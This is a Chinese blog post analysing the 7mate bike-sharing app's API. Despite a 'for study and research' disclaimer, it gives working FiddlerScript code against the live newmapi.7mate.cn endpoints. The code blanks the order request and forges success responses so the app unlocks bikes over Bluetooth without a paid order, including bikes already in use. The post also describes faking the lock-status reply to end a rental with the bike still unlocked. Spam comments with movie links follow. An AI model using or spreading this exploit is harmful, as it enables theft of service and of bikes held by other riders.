本文是关于7mate共享单车软件的漏洞分析,只用于学习和研究。2023/9/18
原谅此文章的思路可能不太清晰,因为是一边分析一边写。
在分析前,需要将手机与电脑置于同一局域网下,当然也可以用模拟器,只不过后者可能会出现很多奇奇怪怪的问题,所以我选择直接在手机上调试。
如果你感兴趣,可以自己尝试使用fiddler代理手机的wifi流量,重现抓包的过程。当然我已经有现成的流量Sessions文件,可以照此分析。由于此文件内含个人隐私信息,故不在此分享。
首先重现正常租车流程。
大致是这样一个流程,数字代表执行顺序。从此图中可以发现用户端,即7maAPP是很重要的一个节点,类似于钥匙的存在。其实究其原因,要使单车本身接入互联网实现与云端的通信,成本的确过高,而单车与手机却可以很方便地通信,例如通过蓝牙等等,手机再通过4G等等和云端连接,就可以形成一个低成本的闭环。所以围绕7maAPP,我们可以做很多事情。
接下来开始分析封包。得益于长安大学校园网的局域网特性,很容易便可以在电脑上抓取手机上的封包。
在没有进行Order的情况下,可以直接通过API获取到目标车辆的所有信息,包括智能锁Mac和密码等等。令人迷惑的操作。
接着经过一系列的无用请求后,order指令出现。
此处说明一下,order成功后手机会先进行蓝牙开锁,并不会产生任何HTTPRequest,下面的Unlock接口是蓝牙开锁失败后的网络开锁接口。
此处注意到order接口并未返回任何token之类的东西,也没有Cookie,而order接口和unlock接口又是分开请求的。所以我可以猜测,此处所有判断都是基于本地手机端进行,order只有创建订单的作用,如果成功,手机发出开锁指令;如不成功,手机端报错。简单来说,这个云端API更加类似于一个toolkit,而非server。
在此处其实第一个破解思路已经出现。虽然我不懂蓝牙通信细节,但是只需要让7maAPP认为云端租车请求已经执行成功,其自身就会向车辆发出蓝牙解锁信号。所以,让7maAPP的网络流量通过一个我们自己写的代理程序,如果不是order请求,则放行。如果是order请求,则拦截,并返回一个fakeJson。
通过这样做,云端并未创建订单,但依旧可以达到开锁的目的。
这种思路比较稳妥,毕竟主体还是官方的软件,我们只是进行了一点加工而已。但是比较麻烦。
然后我想到了第二种思路,就是直接访问unlock接口开锁。以下是unlock接口的参数。
{"action_type":"2","latitude":34.371956,"longitude":108.907609}
正常开锁成功的返回如下;
{"status_code":200,"message":"\u5f00\u9501\u6307\u4ee4\u5df2\u53d1\u51fa","data":{"cmd":"11464128"},"extra":""}
但当我拦截了order请求后,其返回如下。
{"status_code":400,"message":"\u65e0\u6548\u8bf7\u6c42","data":{},"extra":""}
调试到此处,应该纠正一下前文的一个错误,就是此共享单车系统的云端接口并不仅仅是一个toolkit,还是有基本的鉴权判断功能的。然后我注意到请求头处的Auth中有一个Jwt令牌,云端应该就是通过此令牌确认访问者身份的。
所以想要通过unlock接口解锁车辆,就必须要创建一个order。
乍一看似乎和正常用软件解锁车辆差不多,怎么能叫破解呢?请注意我们现在是在调试API的过程中,所有参数和Request都受到我们的控制,虽然云端对此做了限制,却依旧有办法绕过。
这里我发现了一个真正的漏洞。首先先来了解一下respJson中lockStatus的两个值。
0:关锁状态;1:开锁状态。
再来看一下还车时请求的一个接口。
这是一个查询锁状态的接口,正常情况下锁是打开的,返回的值为1,本地APP判断锁未关,则不允许还车。但如果将其修改为0,本地APP判断锁已关,向云端发出还车指令,即可成功还车。
此处的漏洞在于云端还车接口没有验证云端车锁状态,直接结束了订单。这里有完整的saz文件记录,你可以亲自尝试。鉴于其中包含的一些敏感信息,请联系我以获取提取密码。
https://www.ideasky.top/#s/9qk4SmVg
那么当车辆被占用,无法进行order时,如何开锁呢?
办法在前文已经提到过,通过代理软件欺骗7ma客户端程序order成功,诱导其通过蓝牙发出开锁指令。如果要对被占用的车辆进行开锁,通过云端unlock接口是无法成功的,因为你的jwt根本没有进行order,云端不会给你开锁的权限。但是蓝牙开锁是绕过云端判断的,所以可以正常开锁。
如果要纯手写代理,还要适配ssl,太麻烦,所以我选择采用FiddlerScript进行自动断点和修改。
首先对于被占用的车辆,我们需要修改一个接口的返回,如下。
对于此接口,可伪造如下resp。
{"status_code":200,"message":"","data":{"code":0},"extra":""}
构造如下的fiddlerScript。
using Fiddler;
public static void OnBeforeResponse(Session oSession)
{
if (oSession.uriContains("newmapi.7mate.cn/api/order/authority") &&
oSession.uriContains("car_number=") &&
oSession.uriContains("latitude=") &&
oSession.uriContains("longitude="))
{
oSession.utilSetResponseBody("{\"status_code\":200,\"message\":\"\",\"data\":{\"code\":0},\"extra\":\"\"}");
}
}
然后就是对order的接口的处理,涉及到两个步骤。
1.将POST的数据置空,防止云端Order成功
2.将返回的“请求无效”修改为有效的JsonResp
using Fiddler;
public static void OnBeforeRequest(Session oSession)
{
if (oSession.HTTPMethodIs("POST") &&
oSession.uriContains("newmapi.7mate.cn/api/order"))
{
oSession.utilSetRequestBody("");
}
}
public static void OnBeforeResponse(Session oSession)
{
if (oSession.HTTPMethodIs("POST") &&
oSession.uriContains("newmapi.7mate.cn/api/order"))
{
oSession.utilSetResponseBody("{\"status_code\":200,\"message\":\"\\u4e0b\\u5355\\u6210\\u529f\",\"data\":{\"order_id\":2841323,\"order_sn\":\"OSC23091721654388524398\",\"order_amount\":null,\"order_type\":1,\"created_at\":\"2023-09-17 20:28:54\",\"has_stock\":0},\"extra\":\"\"}");
}
}
这个RespBody是对成功的Order进行抓包获取的。
然后将以上代码放入FiddlerScript的对应事件中即可。
最后我们只需要在手机上设置全局代理为fiddler即可。如果是wifi,可以直接长按wifi名称设置代理。如果是4G,可以通过新建APN,设置公网代理服务器。
——到此为止——
《双子起源》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/66507.html
November 13th, 2024 at 01:54 pm 回复你的文章让我感受到了生活的美好,谢谢! https://www.4006400989.com/qyvideo/85335.html
November 12th, 2024 at 06:01 pm 回复《魔偶奇谭1989》科幻片高清在线免费观看:https://www.jgz518.com/xingkong/77720.html
November 12th, 2024 at 04:49 am 回复《血滴子》动作片高清在线免费观看:https://www.jgz518.com/xingkong/96558.html
November 12th, 2024 at 12:42 am 回复